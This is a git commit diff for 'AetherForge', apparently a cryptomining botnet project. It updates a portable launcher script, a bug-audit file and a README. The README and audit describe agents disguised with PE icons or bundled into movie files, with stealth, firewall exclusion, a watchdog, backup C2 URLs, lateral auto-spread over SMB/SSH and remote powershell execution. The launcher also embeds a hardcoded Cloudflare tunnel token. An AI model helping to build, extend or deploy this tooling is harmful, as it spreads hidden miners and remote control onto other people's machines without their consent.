Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -1,7 +1,7 @@
|
||||
# Binaries
|
||||
/bin/
|
||||
*.exe
|
||||
!run.bat
|
||||
!devrun.bat
|
||||
|
||||
# Data (runtime)
|
||||
/data/*.db
|
||||
|
||||
147
LAUNCH.bat
147
LAUNCH.bat
@@ -2,12 +2,33 @@
|
||||
setlocal EnableExtensions EnableDelayedExpansion
|
||||
title AetherForge Control Deck
|
||||
cd /d "%~dp0"
|
||||
set "ROOT=%CD%"
|
||||
|
||||
echo.
|
||||
:: Portable deck root = folder that contains AetherForge.exe (repo usb\ or copied USB drive)
|
||||
if exist "%CD%\AetherForge.exe" (
|
||||
set "ROOT=!CD!"
|
||||
) else if exist "%CD%\usb\AetherForge.exe" (
|
||||
cd /d "%CD%\usb"
|
||||
set "ROOT=!CD!"
|
||||
) else (
|
||||
echo.
|
||||
echo ERROR: AetherForge.exe not found.
|
||||
echo Expected next to this script, or in usb\AetherForge.exe
|
||||
echo Run pack-usb.bat from the repo to build the portable bundle.
|
||||
echo.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
if not exist "%ROOT%\AetherForge.exe" (
|
||||
echo ERROR: AetherForge.exe missing in %ROOT%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo ================================================================
|
||||
echo AetherForge - Portable Control Deck
|
||||
echo ================================================================
|
||||
echo Deck: %ROOT%
|
||||
echo.
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
@@ -123,108 +144,79 @@ if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
|
||||
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
|
||||
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
|
||||
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
|
||||
if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
|
||||
|
||||
:: ----------------------------------------------------------------
|
||||
:: 5. Cloudflare Tunnel — auto-install, configure, start
|
||||
:: 5. Cloudflare Tunnel — MSI + token service (no JSON setup)
|
||||
:: ----------------------------------------------------------------
|
||||
set "CF_DIR=%ROOT%\cloudflare"
|
||||
set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
|
||||
set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
|
||||
set "CF_HOSTNAME=killa.thetempleofdoom.com"
|
||||
set "CF_DATA=%ROOT%\data\cloudflare"
|
||||
set "SERVER_PORT=8989"
|
||||
set "CF_MSI=%ROOT%\cloudflare\cloudflared-windows-amd64.msi"
|
||||
if not exist "%CF_MSI%" set "CF_MSI=%~dp0cloudflared-windows-amd64.msi"
|
||||
if not exist "%CF_MSI%" set "CF_MSI=%~dp0..\cloudflared-windows-amd64.msi"
|
||||
set "CF_TOKEN=eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWFhYzYzMTctMzgyYS00OTM3LTgxY2YtYjM2ZjVkNjZjYTU4IiwicyI6Ik1XRXlaV0ZqTlRndE5XTTRPUzAwT0RCa0xXRTNaR010WkdRNU56UTJZMlJoTmpNMiJ9"
|
||||
set "CF_HOSTNAME=killa.thetempleofdoom.com"
|
||||
set "CF_BIN="
|
||||
set "CF_TUNNEL_ID="
|
||||
set "CF_READY=0"
|
||||
|
||||
:: Check credentials exist and are real (not the placeholder)
|
||||
if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
|
||||
powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
|
||||
if errorlevel 1 goto cf_no_creds
|
||||
|
||||
:: Parse tunnel ID from credentials JSON
|
||||
for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
|
||||
if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
|
||||
echo [CF] Tunnel ID: !CF_TUNNEL_ID!
|
||||
|
||||
:: Stage credentials into data\cloudflare\ (idempotent)
|
||||
set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
|
||||
if not exist "!CF_CREDS_LOCAL!" (
|
||||
copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
|
||||
echo [CF] Credentials staged to data\cloudflare\
|
||||
)
|
||||
|
||||
:: Always regenerate config.yml with current absolute paths
|
||||
:: (handles drive-letter changes when USB is moved)
|
||||
set "CF_CONFIG=%CF_DATA%\config.yml"
|
||||
powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
|
||||
echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
|
||||
|
||||
:: ---- Locate or install cloudflared ----
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
set "CF_BIN=cloudflared"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_have_bin
|
||||
goto cf_check_service
|
||||
)
|
||||
|
||||
:: Not found — install from bundled MSI
|
||||
if exist "%CF_MSI%" (
|
||||
echo [CF] cloudflared not found. Installing from bundled MSI...
|
||||
msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
|
||||
echo [CF] MSI install launched - waiting...
|
||||
ping -n 8 127.0.0.1 >nul
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
echo [CF] cloudflared installed successfully.
|
||||
goto cf_have_bin
|
||||
)
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
set "CF_BIN=cloudflared"
|
||||
echo [CF] cloudflared installed successfully.
|
||||
goto cf_have_bin
|
||||
)
|
||||
echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
|
||||
echo [CF] Try re-running LAUNCH.bat after a reboot.
|
||||
goto cf_done
|
||||
) else (
|
||||
echo [CF] WARNING: cloudflared not installed and no MSI bundled.
|
||||
if not exist "%CF_MSI%" (
|
||||
echo [CF] WARNING: cloudflared not found and no MSI bundled. Skipping tunnel.
|
||||
goto cf_done
|
||||
)
|
||||
echo [CF] Installing cloudflared from bundled MSI...
|
||||
msiexec /i "%CF_MSI%" /quiet /norestart
|
||||
echo [CF] Waiting for MSI to complete...
|
||||
ping -n 10 127.0.0.1 >nul
|
||||
|
||||
:cf_have_bin
|
||||
where cloudflared >nul 2>nul
|
||||
if not errorlevel 1 ( set "CF_BIN=cloudflared" & goto cf_check_service )
|
||||
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
|
||||
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
|
||||
goto cf_check_service
|
||||
)
|
||||
echo [CF] WARNING: MSI installed but cloudflared still not found. Run as Administrator.
|
||||
goto cf_done
|
||||
|
||||
:cf_check_service
|
||||
echo [CF] Binary: !CF_BIN!
|
||||
|
||||
:: Check if cloudflared tunnel already running (same process = skip)
|
||||
tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
|
||||
sc query cloudflared >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [CF] Tunnel already running on this machine.
|
||||
echo [CF] https://!CF_HOSTNAME!
|
||||
echo [CF] Tunnel service already registered.
|
||||
goto cf_start_service
|
||||
)
|
||||
echo [CF] Registering tunnel service with baked token...
|
||||
"!CF_BIN!" service install %CF_TOKEN%
|
||||
if errorlevel 1 (
|
||||
echo [CF] WARNING: service install failed. Run LAUNCH.bat as Administrator once.
|
||||
goto cf_done
|
||||
)
|
||||
echo [CF] Tunnel service registered.
|
||||
ping -n 3 127.0.0.1 >nul
|
||||
|
||||
:cf_start_service
|
||||
sc query cloudflared | findstr /I "RUNNING" >nul 2>nul
|
||||
if not errorlevel 1 (
|
||||
echo [CF] Tunnel already running — https://!CF_HOSTNAME!
|
||||
set "CF_READY=1"
|
||||
goto cf_done
|
||||
)
|
||||
|
||||
:: Start cloudflared tunnel in background
|
||||
echo [CF] Starting Cloudflare tunnel...
|
||||
start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
|
||||
ping -n 5 127.0.0.1 >nul
|
||||
net start cloudflared >nul 2>nul
|
||||
ping -n 4 127.0.0.1 >nul
|
||||
echo [CF] Tunnel live: https://!CF_HOSTNAME!
|
||||
set "CF_READY=1"
|
||||
goto cf_done
|
||||
|
||||
:cf_no_creds
|
||||
echo [CF] No valid credentials.json in cloudflare\
|
||||
echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
|
||||
echo [CF] Running in LAN-only mode this session.
|
||||
|
||||
:cf_done
|
||||
|
||||
@@ -251,7 +243,7 @@ if "!CF_READY!"=="1" (
|
||||
)
|
||||
echo Data: %ROOT%\data\
|
||||
echo.
|
||||
echo First run: admin password printed to console below.
|
||||
echo Dashboard login printed below each start.
|
||||
echo Press Ctrl+C to stop.
|
||||
echo ================================================================
|
||||
echo.
|
||||
@@ -271,8 +263,7 @@ if "!EC!"=="0" (
|
||||
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
|
||||
)
|
||||
|
||||
:: On exit, also stop the cloudflared tunnel
|
||||
taskkill /F /IM cloudflared.exe >nul 2>nul
|
||||
:: Cloudflare tunnel runs as a Windows service — stays up after LAUNCH.bat exits
|
||||
|
||||
echo.
|
||||
pause
|
||||
|
||||
63
PROBLEMS.md
63
PROBLEMS.md
@@ -2,7 +2,7 @@
|
||||
|
||||
Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
|
||||
**Verification:** `test.bat` from project root, or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
|
||||
**Verification:** `test.bat` from project root (→ `scripts/test-suite.ps1`), or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. Live API matrix: `scripts/smoke-test.ps1` with server on :8989. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
|
||||
|
||||
---
|
||||
|
||||
@@ -12,16 +12,20 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
|
||||
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
|
||||
|
||||
### Frontend production (server/web)
|
||||
|
||||
- [LOW] **server/web** — Vite build still warns on `three` vendor chunk (~760 kB gzip ~201 kB). Split out of `DashboardPage`; inherent library size — revisit on next Three/R3F bump.
|
||||
- [LOW] **server/web** — `npm audit fix` (no `--force`, May 2026) applied **0** semver-safe patches; **6 remain** (5 moderate, 1 critical). **Critical:** `happy-dom@15.x` (Vitest DOM env only — not shipped; fix needs `happy-dom@20.9+`, major bump). **Moderate:** `esbuild@0.21.x` via `vite@5` → `vitest`/`vite-node` (dev-server SSRF — [GHSA-67mh-4wv8-2f99]; prod build unaffected; fix needs `vite@8+`, major bump). Do **not** run `npm audit fix --force` — also pulls Recharts v3 / React 19 transitives. Planned upgrade batch: Vite 8 + Vitest 3 + happy-dom 20 + Recharts 3 + React 18→19.
|
||||
- [LOW] **server/web** — Transitive `three-mesh-bvh@0.7.8` deprecated vs pinned `three@0.170` (drei pulls 0.7.x; needs `0.8.0+` on next Three/R3F bump). `@types/three` now pinned to `0.170.0` (aligned with runtime).
|
||||
|
||||
### Untested packages (next coverage targets)
|
||||
|
||||
- [LOW] **server/internal/builder/** — Full compile/fusion/disguise still need integration (requires go/garble/fusion source on host); unit tests cover ~110 pure-helper paths.
|
||||
- [LOW] **server/internal/api/** — `agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration).
|
||||
- [LOW] **agent/stats/** — Per-OS memory/CPU internals still integration-only.
|
||||
- [LOW] **agent/deploy/** — Live SSDP/SMB/SSH/cloudflared still integration-only.
|
||||
- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only.
|
||||
- [LOW] **agent/miner/** — `engine.go` (RandomX), `pool.go` worker/resource guard, `stratum.go` TCP login/submit loop — integration-only.
|
||||
- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk. (Acceptable — no runtime impact.)
|
||||
- [LOW] **server/internal/maintenance/retention.go** — `StartRetentionJobs` goroutine has no shutdown hook. (Acceptable for server process lifetime.)
|
||||
- [LOW] **server/internal/builder/** — Unit tests cover compile/fusion/disguise **helpers** (fake-go success/fail/cancel, `compileWorker`, `buildFileFusion` paired/embedded, spread-kit/fusion finish paths, manifest patching). **Integration-only** (needs real toolchain on host): successful agent/fusion `go build`/`garble` binaries, Windows PE disguise (`go-winres`, system icon extract), code signing (`signtool`/`osslsigncode`), Darwin `.app` bundle, full `buildAgent`/`buildUniversalAgent` happy-path end-to-end.
|
||||
- [LOW] **agent/stats/** — Live kernel/sysctl/vm_stat sampling still integration-only; unit tests cover pure parsers (`parseKB`, `parseMeminfo`, `parseVmStat*`, `filetimeToUint64`, `cpuBusyPercentFromDeltas`).
|
||||
- [LOW] **agent/deploy/** — Live SSDP multicast/SMB/SSH/cloudflared still integration-only; unit tests cover UPnP XML/URL/SOAP helpers, SSDP LOCATION parsing, passive-spread name/launcher helpers, and platform stubs (`go test ./deploy/...`).
|
||||
- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only; unit tests cover pure helpers in `client.go`/`ai.go` (`truncateStr`, JSON types, job payload parsing, mock HTTP for `/decide`/`/heartbeat`/`/report`).
|
||||
- [LOW] **agent/miner/** — RandomX hashing (`engine.go`), pool worker loop, and stratum TCP login/submit still integration-only; unit tests cover target/schedule helpers, stratum wire types, resource-limit guards, and hex/target math (no VM, no live TCP).
|
||||
- [LOW] ~~**server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.~~ **Fixed May 2026** — `testdata/ws_types_fixture.json` golden file; Go `ws_types_test.go` reflects struct tags; TS `ws.test.ts` asserts same keys/shapes.
|
||||
|
||||
---
|
||||
|
||||
@@ -35,7 +39,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
|
||||
| [HIGH] `upload_log` no dedicated ingest API | By design: logs via `get_log` command / Fetch Log UI and AI `upload_log` tool reports. Documented in README Fleet Roster, tests/README, Field Guide tips. |
|
||||
| [MEDIUM] Compact list / expand on click | Implemented in `AgentListItem.tsx` (`compact-row`, click toggles expand). Documented in README Fleet Roster UX. |
|
||||
| [MEDIUM] Remote actions disabled when offline | Intentional — requires live WebSocket. Documented in README, `settingHelp.ts`, Field Guide tips. Vitest + Playwright `e2e/remote-actions.spec.ts`. |
|
||||
| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `run.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
|
||||
| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `devrun.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
|
||||
| [LOW] SettingsPage = Calibrate / no CalibratePage | Nav label **Calibrate** → route `/settings` → `SettingsPage`. Navigation table in README. (A11y `htmlFor` remains in Open.) |
|
||||
| [LOW] `types/index.ts` no runtime guards | Compile-time contracts only; comment block at top of file + tests/README Architecture note. |
|
||||
| [LOW] No e2e for remote actions | Added `server/web/e2e/remote-actions.spec.ts` (offline agent mock → disabled buttons). Vitest coverage in `components.test.tsx`. |
|
||||
@@ -43,6 +47,25 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
|
||||
|
||||
---
|
||||
|
||||
## Fixed (this session — dead code / wiring pass)
|
||||
|
||||
- **[LOW] server/web + server/internal/db** — `BuildRecord.extra_files` persisted in SQLite (`extra_files` JSON column). Build Manager lists extra artifact downloads via `api.buildArtifactUrl` for historical builds, not only the post-forge strip on Forge.
|
||||
- **[LOW] server/internal/api/router.go + server/web/src/api/client.ts** — Documented agent-only `POST /agent/{decide,report,heartbeat}` (fleet-secret REST; intentionally omitted from dashboard client).
|
||||
- **[LOW] server/web/src/types/index.ts** — `BuildRecord.download_url` required in TS; added `BuildExtraFile` type. Build Manager uses stored `download_url` for primary download (ZIP/artifact paths).
|
||||
|
||||
- **server/web/src/api/client.ts** — Added `rotateFleetSecret()` for `POST /server/rotate-secret` (was raw `fetch` in Calibrate only).
|
||||
- **server/web/src/pages/SettingsPage.tsx** — Fleet secret rotation uses `api.rotateFleetSecret()`.
|
||||
- **server/web/src/pages/BuilderPage.tsx** — Wired `blueprintDiff` + `compareBlueprint` / `blueprintName` into a dismissible diff panel after blueprint load/import; extra forge artifacts use `api.buildArtifactUrl` on the last-build strip.
|
||||
- **server/web/src/pages/BuildManagerPage.tsx** — Primary download uses stored `build.download_url` when present (artifact/ZIP paths from universal/Fusion builds).
|
||||
|
||||
## Fixed (this session — frontend production pass)
|
||||
|
||||
- **[LOW] server/web** — Vite large-chunk warning for `DashboardPage` (~898 kB → ~33 kB): `manualChunks` splits `three` / `recharts` / `vendor` in `vite.config.ts`; lazy `HashrateChart`, `FleetTopologyMap`, and `MatrixStreamOverlay` in `DashboardPage.tsx`. `npm run build` PASS (remaining warning is isolated `three` chunk only).
|
||||
- **[LOW] server/web** — React Router v7 future flags (`v7_startTransition`, `v7_relativeSplatPath`) opted in via shared `routerFuture` in `main.tsx` and Vitest `MemoryRouter` wrappers; Vitest stderr warnings cleared.
|
||||
- **[LOW] server/web/package.json** — Moved `@types/qrcode` and `@types/three` to `devDependencies` (types-only; runtime deps unchanged). `npm ci`, `npm run build`, `npm test -- --run`, and `depcheck` all PASS (33 files / 372 tests).
|
||||
|
||||
---
|
||||
|
||||
## Fixed (this session — May 2026 full pass)
|
||||
|
||||
- **[MEDIUM] server/web/src/pages/BuilderPage.tsx** — Added `useEffect` cleanup on unmount that calls `api.cancelBuild(cancelTokenRef.current)` and sets `batchCancelRef.current = true`. Navigating away from the Forge page now cancels any in-progress server-side compile (M14 UI desync closed).
|
||||
@@ -63,6 +86,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
|
||||
- **[HIGH] agent/deploy/autospread.go** — `StartAutoSpreader` moved from unconditional startup in `main.go` to `AgentClient.authenticate()` behind a `sync.Once`. Lateral movement only begins after the server accepts the fleet secret, ensuring the agent is on an owned fleet. First-run spread marker also gated behind auth.
|
||||
- **[LOW] server/internal/builder/platform.go** — `platformsForRequest` universal + `TargetArch: arm64` now returns ALL matching platforms (linux-arm64 and darwin-arm64), not just the first. Test `TestPlatformsForRequestUniversalFilteredArch` updated.
|
||||
- **[LOW] server/internal/maintenance/retention.go** — DB record is now deleted before artifact files (so failed DB deletes don't leave orphaned rows pointing to deleted files). `os.RemoveAll` errors are now logged instead of silently discarded.
|
||||
- **[LOW] server/internal/maintenance/retention.go** — `StopRetentionJobs` cancels the background retention loop; `main.go` defers it on exit. Test: `TestStopRetentionJobs_StopsBackgroundLoop`.
|
||||
|
||||
---
|
||||
|
||||
@@ -123,6 +147,7 @@ Findings reclassified after code verification (May 2026). Not bugs — documente
|
||||
- **server/web/src/api/client.ts** — `estimateFusion` client-side prep-file guard (parity with `buildAgent`); `client.test.ts` reject test.
|
||||
- **agent/miner/** — Added `stratum_test.go` (8), `pool_test.go` (8); expanded `target_test.go` (+6), `schedule_test.go` (+3). **29 tests PASS** — endpoints, Stratum JSON wire types, nonce hex, difficulty/target math, schedule guard.
|
||||
- **agent/miner/schedule.go** — `MiningModeNormalized()` `"schedule"` was treated as always-on; now accepts `"scheduled"` and `"schedule"`; `allowedAt` for deterministic tests.
|
||||
- **server/web** — Pinned `@types/three@0.170.0` to match `three@0.170.0` (was `^0.184.1`, skewed from runtime; `skipLibCheck` masked). `@react-three/drei@9.122` / `@react-three/fiber@8.18` unchanged; `tsc`, `npm run build`, vitest (373) — PASS.
|
||||
|
||||
---
|
||||
|
||||
@@ -146,5 +171,21 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
|
||||
| `server/internal/api/...` (full) | PASS |
|
||||
| `server` Go tests | PASS (all packages) |
|
||||
| `agent` Go tests | PASS (full `./...`) |
|
||||
| `server/web` vitest (full suite) | PASS — 33 files, 371 tests |
|
||||
| `server/web` vitest (full suite) | PASS — 33 files, 373 tests |
|
||||
| `server/web` `npm run build` (tsc + vite) | PASS |
|
||||
| `server/web` `npm ci` + depcheck | PASS — no missing/unused deps |
|
||||
| `server/web` Playwright e2e | PASS — 5 tests |
|
||||
|
||||
---
|
||||
|
||||
## Backend dependency audit (May 2026)
|
||||
|
||||
| Module | `go mod tidy` | `go build ./...` | `go test ./...` | Notes |
|
||||
|--------|---------------|------------------|-----------------|-------|
|
||||
| `server/` | Updated | PASS | PASS | Promoted `golang.org/x/crypto` to direct (bcrypt in `router.go`). Removed stale indirects (`go-winres`, `nfnt/resize`) — winres stays `go run` at build time per README. |
|
||||
| `agent/` | Updated | PASS | PASS | Promoted `github.com/libp2p/go-libp2p`, `github.com/google/uuid` to direct (`mesh_p2p.go` / `p2p` tag). `go build -tags p2p` and `-tags hollow` PASS on Windows. |
|
||||
| `fusion/` | No dep changes | PASS | N/A (no `_test.go`) | Stdlib-only module; matches `test-suite.ps1` phase 3/8. |
|
||||
|
||||
**Dead/orphan code:** None removed. All agent/server/fusion `.go` files belong to wired packages; build-tag stubs (`mesh_p2p_stub`, `hollow_stub_*`, platform splits) are intentional feature gates, not duplicates.
|
||||
|
||||
**Fix applied:** `fleet_handler_test.go` nil-WS cases used struct value-copy (`bad := *fh`) which tripped `go vet` (mutex copy). Replaced with `NewFleetHandler(..., nil, ...)`.
|
||||
|
||||
30
README.md
30
README.md
@@ -82,7 +82,7 @@ You configure defaults once in **Calibrate**. You forge once per machine (or bat
|
||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
|
||||
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
|
||||
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
|
||||
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `run.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
|
||||
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
|
||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
|
||||
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
|
||||
@@ -139,6 +139,7 @@ fusion-deliverables/Vacation/
|
||||
| Field Guide | `/guide` | `GuidePage` |
|
||||
| Calibrate | `/settings` | `SettingsPage` |
|
||||
|
||||
|
||||
There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route.
|
||||
|
||||
### Calibrate (Settings)
|
||||
@@ -161,7 +162,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the
|
||||
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
|
||||
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
|
||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `run.bat`)
|
||||
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)
|
||||
|
||||
---
|
||||
|
||||
@@ -169,7 +170,7 @@ There is no separate `CalibratePage` — **Calibrate** is the nav label for the
|
||||
|
||||
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
|
||||
|
||||
1. Double-click **`run.bat`** in the project root.
|
||||
1. Double-click **`devrun.bat`** in the project root.
|
||||
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
|
||||
|
||||
2. Browser opens **http://localhost:8989**
|
||||
@@ -240,20 +241,27 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
|
||||
|
||||
```
|
||||
crypto miner/
|
||||
├── run.bat ← one-click build + launch
|
||||
├── devrun.bat ← one-click build + launch (dev)
|
||||
├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
|
||||
├── test.bat ← full suite → scripts/test-suite.ps1
|
||||
├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
|
||||
├── scripts/
|
||||
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
|
||||
│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running)
|
||||
├── bin/
|
||||
│ └── miner-server.exe
|
||||
├── data/ ← config, DB, builds, preps, logs, users.json
|
||||
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
||||
├── server/
|
||||
│ ├── main.go
|
||||
│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
|
||||
│ ├── webroot/ ← production UI (copied from web/dist)
|
||||
│ ├── web/ ← React command deck (Vite + TypeScript)
|
||||
│ └── internal/
|
||||
│ ├── api/ ← HTTP routes, WebSocket, auth
|
||||
│ └── builder/ ← forge + fusion + ZIP + media crypto
|
||||
├── agent/ ← Windows worker source (compiled by Forge)
|
||||
├── fusion/ ← prep + movie runner (embed, decrypt, play)
|
||||
│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
|
||||
├── agent/ ← worker source (Forge compiles per OS)
|
||||
├── fusion/ ← prep + movie runner (builder copies into build dir)
|
||||
├── tests/README.md ← test phases, E2E env vars
|
||||
├── PROBLEMS.md ← known issues audit (severity-ranked)
|
||||
└── README.md ← you are here
|
||||
```
|
||||
@@ -284,7 +292,7 @@ Full route list: `server/internal/api/router.go`
|
||||
|
||||
---
|
||||
|
||||
## Manual Build (if you skip run.bat)
|
||||
## Manual Build (if you skip devrun.bat)
|
||||
|
||||
```bat
|
||||
cd server\web
|
||||
@@ -307,6 +315,8 @@ Open **http://localhost:8989** and sign in with your configured users.
|
||||
|
||||
Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details.
|
||||
|
||||
With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`.
|
||||
|
||||
### Dashboard dev server
|
||||
|
||||
```bat
|
||||
@@ -335,7 +345,7 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa
|
||||
|---------|----------------|-----|
|
||||
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server |
|
||||
| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting |
|
||||
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `run.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
||||
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
|
||||
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
|
||||
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC |
|
||||
|
||||
|
||||
273
agent/client/ai_test.go
Normal file
273
agent/client/ai_test.go
Normal file
@@ -0,0 +1,273 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestTruncateStr(t *testing.T) {
|
||||
cases := []struct {
|
||||
in, want string
|
||||
max int
|
||||
}{
|
||||
{"short", "short", 10},
|
||||
{"exactlyten", "exactlyten", 10},
|
||||
{"this is longer than ten", "this is lo...", 10},
|
||||
{"", "", 5},
|
||||
{"abc", "...", 0},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got := truncateStr(tc.in, tc.max)
|
||||
